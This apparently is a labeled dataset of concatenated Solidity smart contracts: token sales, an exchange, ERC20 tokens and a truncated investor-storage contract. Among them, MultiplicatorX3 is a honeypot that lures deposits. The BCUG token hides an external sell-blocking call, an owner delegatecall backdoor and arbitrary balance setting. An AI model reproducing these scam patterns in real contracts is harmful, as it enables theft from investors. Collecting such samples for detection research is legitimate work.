fundsWallet = _fundsWallet;
emit FundsWalletUpdated(fundsWallet);
}
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
function setNomin(Nomin _nomin)
external
onlyOwner
{
nomin = _nomin;
emit NominUpdated(_nomin);
}
function setHavven(Havven _havven)
external
onlyOwner
{
havven = _havven;
emit HavvenUpdated(_havven);
}
function setPriceStalePeriod(uint _time)
external
onlyOwner
{
priceStalePeriod = _time;
emit PriceStalePeriodUpdated(priceStalePeriod);
}
function updatePrices(uint newEthPrice, uint newHavvenPrice, uint timeSent)
external
onlyOracle
{
require(lastPriceUpdateTime < timeSent && timeSent < now + ORACLE_FUTURE_LIMIT,
"Time sent must be bigger than the last update, and must be less than now + ORACLE_FUTURE_LIMIT");
usdToEthPrice = newEthPrice;
usdToHavPrice = newHavvenPrice;
lastPriceUpdateTime = timeSent;
emit PricesUpdated(usdToEthPrice, usdToHavPrice, lastPriceUpdateTime);
}
function ()
external
payable
{
exchangeEtherForNomins();
}
function exchangeEtherForNomins()
public
payable
pricesNotStale
notPaused
returns (uint)
{
uint requestedToPurchase = safeMul_dec(msg.value, usdToEthPrice);
fundsWallet.transfer(msg.value);
nomin.transfer(msg.sender, requestedToPurchase);
emit Exchange("ETH", msg.value, "nUSD", requestedToPurchase);
return requestedToPurchase;
}
function exchangeEtherForNominsAtRate(uint guaranteedRate)
public
payable
pricesNotStale
notPaused
returns (uint)
{
require(guaranteedRate == usdToEthPrice);
return exchangeEtherForNomins();
}
function exchangeEtherForHavvens()
public
payable
pricesNotStale
notPaused
returns (uint)
{
uint havvensToSend = havvensReceivedForEther(msg.value);
fundsWallet.transfer(msg.value);
havven.transfer(msg.sender, havvensToSend);
emit Exchange("ETH", msg.value, "HAV", havvensToSend);
return havvensToSend;
}
function exchangeEtherForHavvensAtRate(uint guaranteedEtherRate, uint guaranteedHavvenRate)
public
payable
pricesNotStale
notPaused
returns (uint)
{
require(guaranteedEtherRate == usdToEthPrice);
require(guaranteedHavvenRate == usdToHavPrice);
return exchangeEtherForHavvens();
}
function exchangeNominsForHavvens(uint nominAmount)
public
pricesNotStale
notPaused
returns (uint)
{
uint havvensToSend = havvensReceivedForNomins(nominAmount);
nomin.transferFrom(msg.sender, this, nominAmount);
havven.transfer(msg.sender, havvensToSend);
emit Exchange("nUSD", nominAmount, "HAV", havvensToSend);
return havvensToSend;
}
function exchangeNominsForHavvensAtRate(uint nominAmount, uint guaranteedRate)
public
pricesNotStale
notPaused
returns (uint)
{
require(guaranteedRate == usdToHavPrice);
return exchangeNominsForHavvens(nominAmount);
}
function withdrawHavvens(uint amount)
external
onlyOwner
{
havven.transfer(owner, amount);
}
function withdrawNomins(uint amount)
external
onlyOwner
{
nomin.transfer(owner, amount);
}
function pricesAreStale()
public
view
returns (bool)
{
return safeAdd(lastPriceUpdateTime, priceStalePeriod) < now;
}
function havvensReceivedForNomins(uint amount)
public
view
returns (uint)
{
uint nominsReceived = nomin.amountReceived(amount);
return safeDiv_dec(nominsReceived, usdToHavPrice);
}
function havvensReceivedForEther(uint amount)
public
view
returns (uint)
{
uint valueSentInNomins = safeMul_dec(amount, usdToEthPrice);
return havvensReceivedForNomins(valueSentInNomins);
}
function nominsReceivedForEther(uint amount)
public
view
returns (uint)
{
uint nominsTransferred = safeMul_dec(amount, usdToEthPrice);
return nomin.amountReceived(nominsTransferred);
}
modifier onlyOracle
{
require(msg.sender == oracle, "Must be oracle to perform this action");
_;
}
modifier pricesNotStale
{
require(!pricesAreStale(), "Prices must not be stale to perform this action");
_;
}
event FundsWalletUpdated(address newFundsWallet);
event OracleUpdated(address newOracle);
event NominUpdated(Nomin newNominContract);
event HavvenUpdated(Havven newHavvenContract);
event PriceStalePeriodUpdated(uint priceStalePeriod);
event PricesUpdated(uint newEthPrice, uint newHavvenPrice, uint timeSent);
event Exchange(string fromCurrency, uint fromAmount, string toCurrency, uint toAmount);
} | 0 | 1,532 |
pragma solidity ^0.4.15;
contract Token {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract Owned {
event NewOwner(address indexed old, address indexed current);
modifier only_owner {
require (msg.sender == owner);
_;
}
address public owner = msg.sender;
function setOwner(address _new) only_owner {
NewOwner(owner, _new);
owner = _new;
}
}
contract Certifier {
function certified(address _who) constant returns (bool);
}
contract AmberToken is Token, Owned {
struct Account {
uint balance;
mapping (address => uint) allowanceOf;
uint tokensPerPhase;
uint nextPhase;
}
event Minted(address indexed who, uint value);
event MintedLocked(address indexed who, uint value);
function AmberToken() {}
function mint(address _who, uint _value)
only_owner
public
{
accounts[_who].balance += _value;
totalSupply += _value;
Minted(_who, _value);
}
function mintLocked(address _who, uint _value)
only_owner
public
{
accounts[_who].tokensPerPhase += _value / UNLOCK_PHASES;
totalSupply += _value;
MintedLocked(_who, _value);
}
function finalise()
only_owner
public
{
locked = false;
owner = 0;
phaseStart = now;
}
function currentPhase()
public
constant
returns (uint)
{
require (phaseStart > 0);
uint p = (now - phaseStart) / PHASE_DURATION;
return p > UNLOCK_PHASES ? UNLOCK_PHASES : p;
}
function unlockTokens(address _who)
public
{
uint phase = currentPhase();
uint tokens = accounts[_who].tokensPerPhase;
uint nextPhase = accounts[_who].nextPhase;
if (tokens > 0 && phase > nextPhase) {
accounts[_who].balance += tokens * (phase - nextPhase);
accounts[_who].nextPhase = phase;
}
}
function transfer(address _to, uint256 _value)
when_owns(msg.sender, _value)
when_liquid
returns (bool)
{
Transfer(msg.sender, _to, _value);
accounts[msg.sender].balance -= _value;
accounts[_to].balance += _value;
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
when_owns(_from, _value)
when_has_allowance(_from, msg.sender, _value)
when_liquid
returns (bool)
{
Transfer(_from, _to, _value);
accounts[_from].allowanceOf[msg.sender] -= _value;
accounts[_from].balance -= _value;
accounts[_to].balance += _value;
return true;
}
function approve(address _spender, uint256 _value)
when_liquid
returns (bool)
{
require (_value == 0 || accounts[msg.sender].allowanceOf[_spender] == 0);
Approval(msg.sender, _spender, _value);
accounts[msg.sender].allowanceOf[_spender] = _value;
return true;
}
function balanceOf(address _who) constant returns (uint256) {
return accounts[_who].balance;
}
function allowance(address _owner, address _spender)
constant
returns (uint256)
{
return accounts[_owner].allowanceOf[_spender];
}
modifier when_owns(address _owner, uint _amount) {
require (accounts[_owner].balance >= _amount);
_;
}
modifier when_has_allowance(address _owner, address _spender, uint _amount) {
require (accounts[_owner].allowanceOf[_spender] >= _amount);
_;
}
modifier when_liquid {
require (!locked);
_;
}
string constant public name = "Amber Token";
uint8 constant public decimals = 18;
string constant public symbol = "AMB";
bool public locked = true;
uint public phaseStart = 0;
uint public constant PHASE_DURATION = 180 days;
uint public constant UNLOCK_PHASES = 4;
uint public totalSupply;
mapping (address => Account) accounts;
}
contract AmbrosusSale {
function AmbrosusSale() {
tokens = new AmberToken();
tokens.mint(0x00C269e9D02188E39C9922386De631c6AED5b4d4, 143375759490000000000000000);
saleRevenue += 143375759490000000000000;
totalSold += 143375759490000000000000000;
}
modifier only_admin { require (msg.sender == ADMINISTRATOR); _; }
modifier only_prepurchaser { require (msg.sender == PREPURCHASER); _; }
modifier is_valid_buyin { require (tx.gasprice <= MAX_BUYIN_GAS_PRICE && msg.value >= MIN_BUYIN_VALUE); _; }
modifier is_under_cap_with(uint buyin) { require (buyin + saleRevenue <= MAX_REVENUE); _; }
modifier only_certified(address who) { require (CERTIFIER.certified(who)); _; }
modifier only_before_period { require (now < BEGIN_TIME); _; }
modifier only_during_period { require (now >= BEGIN_TIME && now < END_TIME && !isPaused); _; }
modifier only_during_paused_period { require (now >= BEGIN_TIME && now < END_TIME && isPaused); _; }
modifier only_after_sale { require (now >= END_TIME || saleRevenue >= MAX_REVENUE); _; }
modifier when_allocations_uninitialised { require (!allocationsInitialised); _; }
modifier when_allocatable_liquid(uint amount) { require (liquidAllocatable >= amount); _; }
modifier when_allocatable_locked(uint amount) { require (lockedAllocatable >= amount); _; }
modifier when_allocations_complete { require (allocationsInitialised && liquidAllocatable == 0 && lockedAllocatable == 0); _; }
event Prepurchased(address indexed recipient, uint etherPaid, uint amberSold);
event Purchased(address indexed recipient, uint amount);
event SpecialPurchased(address indexed recipient, uint etherPaid, uint amberSold);
event Paused();
event Unpaused();
event Allocated(address indexed recipient, uint amount, bool liquid);
function notePrepurchase(address _who, uint _etherPaid, uint _amberSold)
only_prepurchaser
only_before_period
public
{
tokens.mint(_who, _amberSold);
saleRevenue += _etherPaid;
totalSold += _amberSold;
Prepurchased(_who, _etherPaid, _amberSold);
}
function specialPurchase()
only_before_period
is_under_cap_with(msg.value)
payable
public
{
uint256 bought = buyinReturn(msg.sender) * msg.value;
require (bought > 0);
tokens.mint(msg.sender, bought);
TREASURY.transfer(msg.value);
saleRevenue += msg.value;
totalSold += bought;
SpecialPurchased(msg.sender, msg.value, bought);
}
function ()
only_certified(msg.sender)
payable
public
{
processPurchase(msg.sender);
}
function purchaseTo(address _recipient)
only_certified(msg.sender)
payable
public
{
processPurchase(_recipient);
}
function processPurchase(address _recipient)
only_during_period
is_valid_buyin
is_under_cap_with(msg.value)
private
{
tokens.mint(_recipient, msg.value * STANDARD_BUYIN);
TREASURY.transfer(msg.value);
saleRevenue += msg.value;
totalSold += msg.value * STANDARD_BUYIN;
Purchased(_recipient, msg.value);
}
function buyinReturn(address _who)
constant
public
returns (uint)
{
if (
_who == CHINESE_EXCHANGE_1 || _who == CHINESE_EXCHANGE_2 ||
_who == CHINESE_EXCHANGE_3 || _who == CHINESE_EXCHANGE_4
)
return CHINESE_EXCHANGE_BUYIN;
if (_who == BTC_SUISSE_TIER_1)
return STANDARD_BUYIN;
if (_who == BTC_SUISSE_TIER_2)
return TIER_2_BUYIN;
if (_who == BTC_SUISSE_TIER_3)
return TIER_3_BUYIN;
if (_who == BTC_SUISSE_TIER_4)
return TIER_4_BUYIN;
return 0;
}
function pause()
only_admin
only_during_period
public
{
isPaused = true;
Paused();
}
function unpause()
only_admin
only_during_paused_period
public
{
isPaused = false;
Unpaused();
}
function initialiseAllocations()
public
only_after_sale
when_allocations_uninitialised
{
allocationsInitialised = true;
liquidAllocatable = LIQUID_ALLOCATION_PPM * totalSold / SALES_ALLOCATION_PPM;
lockedAllocatable = LOCKED_ALLOCATION_PPM * totalSold / SALES_ALLOCATION_PPM;
}
function allocateLiquid(address _who, uint _value)
only_admin
when_allocatable_liquid(_value)
public
{
tokens.mint(_who, _value);
liquidAllocatable -= _value;
Allocated(_who, _value, true);
}
function allocateLocked(address _who, uint _value)
only_admin
when_allocatable_locked(_value)
public
{
tokens.mintLocked(_who, _value);
lockedAllocatable -= _value;
Allocated(_who, _value, false);
}
function finalise()
when_allocations_complete
public
{
tokens.finalise();
}
uint public constant MIN_BUYIN_VALUE = 10000000000000000;
uint public constant MAX_BUYIN_GAS_PRICE = 25000000000;
uint public constant MAX_REVENUE = 425203 ether;
uint constant public SALES_ALLOCATION_PPM = 400000;
uint constant public LOCKED_ALLOCATION_PPM = 337000;
uint constant public LIQUID_ALLOCATION_PPM = 263000;
Certifier public constant CERTIFIER = Certifier(0x7b1Ab331546F021A40bd4D09fFb802261CaACcc9);
address public constant ADMINISTRATOR = 0x00C269e9D02188E39C9922386De631c6AED5b4d4;
address public constant PREPURCHASER = 0x00D426e9F24E0F426706A1aBf96E375014684C78;
address public constant TREASURY = 0x00D426e9F24E0F426706A1aBf96E375014684C78;
uint public constant BEGIN_TIME = 1505779200;
uint public constant DURATION = 30 days;
uint public constant END_TIME = BEGIN_TIME + DURATION;
address public constant BTC_SUISSE_TIER_1 = 0x53B3D4f98fcb6f0920096fe1cCCa0E4327Da7a1D;
address public constant BTC_SUISSE_TIER_2 = 0x642fDd12b1Dd27b9E19758F0AefC072dae7Ab996;
address public constant BTC_SUISSE_TIER_3 = 0x64175446A1e3459c3E9D650ec26420BA90060d28;
address public constant BTC_SUISSE_TIER_4 = 0xB17C2f9a057a2640309e41358a22Cf00f8B51626;
address public constant CHINESE_EXCHANGE_1 = 0x36f548fAB37Fcd39cA8725B8fA214fcd784FE0A3;
address public constant CHINESE_EXCHANGE_2 = 0x877Da872D223AB3D073Ab6f9B4bb27540E387C5F;
address public constant CHINESE_EXCHANGE_3 = 0xCcC088ec38A4dbc15Ba269A176883F6ba302eD8d;
address public constant CHINESE_EXCHANGE_4 = 0;
uint public constant STANDARD_BUYIN = 1000;
uint public constant TIER_2_BUYIN = 1111;
uint public constant TIER_3_BUYIN = 1250;
uint public constant TIER_4_BUYIN = 1429;
uint public constant CHINESE_EXCHANGE_BUYIN = 1087;
bool public allocationsInitialised = false;
uint public liquidAllocatable;
uint public lockedAllocatable;
uint public saleRevenue = 0;
uint public totalSold = 0;
AmberToken public tokens;
bool public isPaused = false;
} | 1 | 4,264 |
pragma solidity ^0.4.18;
contract MultiplicatorX3
{
address public Owner = msg.sender;
function() public payable{}
function withdraw()
payable
public
{
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
adr.call.value(msg.value)(data);
}
function multiplicate(address adr)
public
payable
{
if(msg.value>=this.balance)
{
adr.transfer(this.balance+msg.value);
}
}
} | 0 | 680 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract BCUG is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 313636000000000000000000;
string public name = "Blockchain Cuties Universe Governance Token";
string public symbol = "BCUG";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 180 |
pragma solidity ^0.4.15;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ClaimableTokens is Ownable {
address public claimedTokensWallet;
function ClaimableTokens(address targetWallet) {
claimedTokensWallet = targetWallet;
}
function claimTokens(address tokenAddress) public onlyOwner {
require(tokenAddress != 0x0);
ERC20 claimedToken = ERC20(tokenAddress);
uint balance = claimedToken.balanceOf(this);
claimedToken.transfer(claimedTokensWallet, balance);
}
}
contract CromToken is Ownable, ERC20, ClaimableTokens {
using SafeMath for uint256;
string public constant name = "CROM Token";
string public constant symbol = "CROM";
uint8 public constant decimals = 0;
uint256 public constant INITIAL_SUPPLY = 10 ** 7;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
function CromToken() Ownable() ClaimableTokens(msg.sender) {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply;
}
function transfer(address to, uint256 value) public returns (bool success) {
require(to != 0x0);
require(balances[msg.sender] >= value);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool success) {
allowed[msg.sender][spender] = value;
Approval(msg.sender, spender, value);
return true;
}
function allowance(address owner, address spender) public constant returns (uint256 remaining) {
return allowed[owner][spender];
}
function balanceOf(address who) public constant returns (uint256) {
return balances[who];
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
require(to != 0x0);
require(balances[from] >= value);
require(value <= allowed[from][msg.sender]);
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
Transfer(from, to, value);
return true;
}
}
contract CromIco is Ownable, ClaimableTokens {
using SafeMath for uint256;
CromToken public token;
uint public preStartTime;
uint public startTime;
uint public endTime;
address public targetWallet;
bool public targetWalletVerified;
uint256 public constant SOFT_CAP = 8000 ether;
uint256 public constant HARD_CAP = 56000 ether;
uint256 public constant TOKEN_PRICE = 10 finney;
uint public constant BONUS_BATCH = 2 * 10 ** 6;
uint public constant BONUS_PERCENTAGE = 25;
uint256 public constant MINIMAL_PRE_ICO_INVESTMENT = 10 ether;
uint public constant PRE_DURATION = 14 days;
uint public constant DURATION = 14 days;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public preIcoMembers;
uint256 public amountRaised;
uint256 public tokensSold;
bool public paused;
enum Stages {
WalletUnverified,
BeforeIco,
Payable,
AfterIco
}
enum PayableStages {
PreIco,
PublicIco
}
event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount);
function CromIco(address tokenAddress, address beneficiaryWallet) Ownable() ClaimableTokens(beneficiaryWallet) {
token = CromToken(tokenAddress);
preStartTime = 1510920000;
startTime = preStartTime + PRE_DURATION;
endTime = startTime + DURATION;
targetWallet = beneficiaryWallet;
targetWalletVerified = false;
paused = false;
}
modifier atStage(Stages stage) {
require(stage == getCurrentStage());
_;
}
function() payable atStage(Stages.Payable) {
buyTokens();
}
function buyTokens() internal {
require(msg.sender != 0x0);
require(msg.value > 0);
require(!paused);
uint256 weiAmount = msg.value;
uint256 tokens = calculateTokensAmount(weiAmount);
require(tokens > 0);
require(token.balanceOf(this) >= tokens);
if (PayableStages.PreIco == getPayableStage()) {
require(preIcoMembers[msg.sender]);
require(weiAmount.add(balanceOf[msg.sender]) >= MINIMAL_PRE_ICO_INVESTMENT);
require(tokensSold.add(tokens) <= BONUS_BATCH);
}
amountRaised = amountRaised.add(weiAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(weiAmount);
tokensSold = tokensSold.add(tokens);
token.transfer(msg.sender, tokens);
TokenPurchase(msg.sender, weiAmount, tokens);
}
function verifyTargetWallet() public atStage(Stages.WalletUnverified) {
require(msg.sender == targetWallet);
targetWalletVerified = true;
}
function addPreIcoMembers(address[] members) public onlyOwner {
for (uint i = 0; i < members.length; i++) {
preIcoMembers[members[i]] = true;
}
}
function removePreIcoMembers(address[] members) public onlyOwner {
for (uint i = 0; i < members.length; i++) {
preIcoMembers[members[i]] = false;
}
}
function isPreIcoActive() public constant returns (bool) {
bool isPayable = Stages.Payable == getCurrentStage();
bool isPreIco = PayableStages.PreIco == getPayableStage();
return isPayable && isPreIco;
}
function isPublicIcoActive() public constant returns (bool) {
bool isPayable = Stages.Payable == getCurrentStage();
bool isPublic = PayableStages.PublicIco == getPayableStage();
return isPayable && isPublic;
}
function hasEnded() public constant returns (bool) {
return Stages.AfterIco == getCurrentStage();
}
function softCapReached() public constant returns (bool) {
return amountRaised >= SOFT_CAP;
}
function withdrawFunds() public atStage(Stages.AfterIco) returns(bool) {
require(!softCapReached());
require(balanceOf[msg.sender] > 0);
uint256 balance = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
msg.sender.transfer(balance);
return true;
}
function finalizeIco() public onlyOwner atStage(Stages.AfterIco) {
require(softCapReached());
targetWallet.transfer(this.balance);
}
function withdrawUnsoldTokens() public onlyOwner atStage(Stages.AfterIco) {
token.transfer(targetWallet, token.balanceOf(this));
}
function pause() public onlyOwner {
require(!paused);
paused = true;
}
function resume() public onlyOwner {
require(paused);
paused = false;
}
function changeTargetWallet(address wallet) public onlyOwner {
targetWallet = wallet;
targetWalletVerified = false;
}
function calculateTokensAmount(uint256 funds) internal returns (uint256) {
uint256 tokens = funds.div(TOKEN_PRICE);
if (tokensSold < BONUS_BATCH) {
if (tokensSold.add(tokens) > BONUS_BATCH) {
uint256 bonusBaseTokens = BONUS_BATCH.mul(100).div(125).sub(tokensSold);
tokens = tokens.add(bonusBaseTokens.mul(BONUS_PERCENTAGE).div(100));
} else {
tokens = tokens.mul(BONUS_PERCENTAGE + 100).div(100);
}
}
return tokens;
}
function getCurrentStage() internal constant returns (Stages) {
if (!targetWalletVerified) {
return Stages.WalletUnverified;
} else if (now < preStartTime) {
return Stages.BeforeIco;
} else if (now < endTime && amountRaised < HARD_CAP) {
return Stages.Payable;
} else {
return Stages.AfterIco;
}
}
function getPayableStage() internal constant returns (PayableStages) {
if (now < startTime) {
return PayableStages.PreIco;
} else {
return PayableStages.PublicIco;
}
}
} | 1 | 3,269 |
pragma solidity 0.4.25;
library Zero {
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function requireNotZero(uint val) internal pure {
require(val != 0, "require not zero value");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
function isZero(uint a) internal pure returns(bool) {
return a == 0;
}
function notZero(uint a) internal pure returns(bool) {
return a != 0;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Percent {
using SafeMath for uint;
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a.mul(p.num).div(p.den);
}
function div(percent storage p, uint a) internal view returns (uint) {
return a.div(p.num).mul(p.den);
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a.sub(b);
}
function add(percent storage p, uint a) internal view returns (uint) {
return a.add(mul(p, a));
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a.mul(p.num).div(p.den);
}
function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a.div(p.num).mul(p.den);
}
function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a.sub(b);
}
function madd(percent memory p, uint a) internal pure returns (uint) {
return a.add(mmul(p, a));
}
}
library ToAddress {
function toAddress(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source, 0x14)) }
return addr;
}
function isNotContract(address addr) internal view returns(bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}
contract Accessibility {
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
}
function disown() internal {
delete owner;
}
}
contract InvestorsStorage is Accessibility {
using SafeMath for uint;
struct Dividends {
uint value;
uint limit;
uint deferred;
}
struct Investor {
uint investment;
uint paymentTime;
Dividends dividends;
}
uint public size;
mapping (address => Investor) private investors;
function isInvestor(address addr) public view returns (bool) {
return investors[addr].investment > 0;
}
function investorInfo(
address addr
)
public
view
returns (
uint investment,
uint paymentTime,
uint value,
uint limit,
uint deferred
)
{
investment = investors[addr].investment;
paymentTime = investors[addr].paymentTime;
value = investors[addr].dividends.value;
limit = investors[addr].dividends.limit;
deferred = investors[addr].dividends.deferred;
}
function newInvestor(
address addr,
uint investment,
